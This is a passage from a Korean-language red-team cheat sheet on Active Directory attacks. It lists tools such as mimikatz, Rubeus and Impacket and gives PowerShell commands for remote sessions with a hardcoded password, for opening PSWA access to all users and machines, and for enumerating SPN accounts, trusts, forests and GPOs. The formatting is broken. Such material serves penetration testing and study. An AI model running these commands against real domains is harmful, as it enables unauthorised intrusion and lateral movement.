
계속 확장 중인 레드팀 치트시트.

여기서 저를 지원할 수 있습니다 🐱 :
이 AD 공격 치트시트는 RistBS가 제작했으며, Active-Directory-Exploitation-Cheat-Sheet 저장소에서 영감을 받았습니다.
Powershell 도구 :
[⭐] Nishang -> https://github.com/samratashok/nishangNishang은 Powershell 환경에서 Windows 침투 테스트를 위한 여러 유용한 스크립트를 제공합니다.
PowerView는 Powersploit의 스크립트로, 잠재적인 횡적 이동을 위해 AD 아키텍처를 열거할 수 있습니다.
열거 도구 :
[⭐] Bloodhound -> https://github.com/BloodHoundAD/BloodHound[⭐] crackmapexec -> https://github.com/byt3bl33d3r/CrackMapExeAD 익스플로잇 툴킷 :
[⭐] Impacket -> https://github.com/SecureAuthCorp/impacket[⭐] kekeo -> https://github.com/gentilkiwi/kekeo덤핑 도구 :
[⭐] mimikatz -> https://github.com/gentilkiwi/mimikatz[⭐] rubeus -> https://github.com/GhostPack/Rubeus리스너 도구 :
[⭐] responder -> https://github.com/SpiderLabs/ResponderPS-Session :```powershell #METHOD 1 $c = New-PSSession -ComputerName 10.10.13.100 -Authentication Negociate -Credential $user Enter-PSSession -Credential $c -ComputerName 10.10.13.100
$pass = ConvertTo-SecureString 'Ab!Q@aker1' -asplaintext -force $cred = New-Object System.Management.Automation.PSCredential('$user, $pass') Enter-PSSession -Credential $c -ComputerName 10.10.13.100
### PSWA 남용
크레덴셜이 있는 사람이라면 누구나 모든 머신과 모든 구성에 연결할 수 있습니다.
**[ ! ] 이 작업에는 자격 증명이 필요합니다.**```powershell
Add-PswaAuthorizationRule -UsernName * -ComputerName * -ConfigurationName *
PowerView 사용:```powershell Get-NetUser –SPN
> 사용 [AD Module](https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps) :```powershell
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
MapTrust :```powershell Invoke-MapDomainTrust
**현재 도메인에 대한 도메인 트러스트 :**
> [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) 사용 :```powershell
Get-NetDomainTrust #Find potential external trust
Get-NetDomainTrust –Domain $domain
사용 AD Module :```powershell Get-ADTrust Get-ADTrust –Identity $domain
### Forest Enumeration
**현재 포리스트에 대한 세부 정보 :**```powershell
Get-NetForest
Get-NetForest –Forest $forest
Get-ADForest
Get-ADForest –Identity $domain
GPO 목록```powershell Get-NetGPO Get-NetGPO -ComputerName $computer Get-GPO -All Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html
### ACL 및 ACE 열거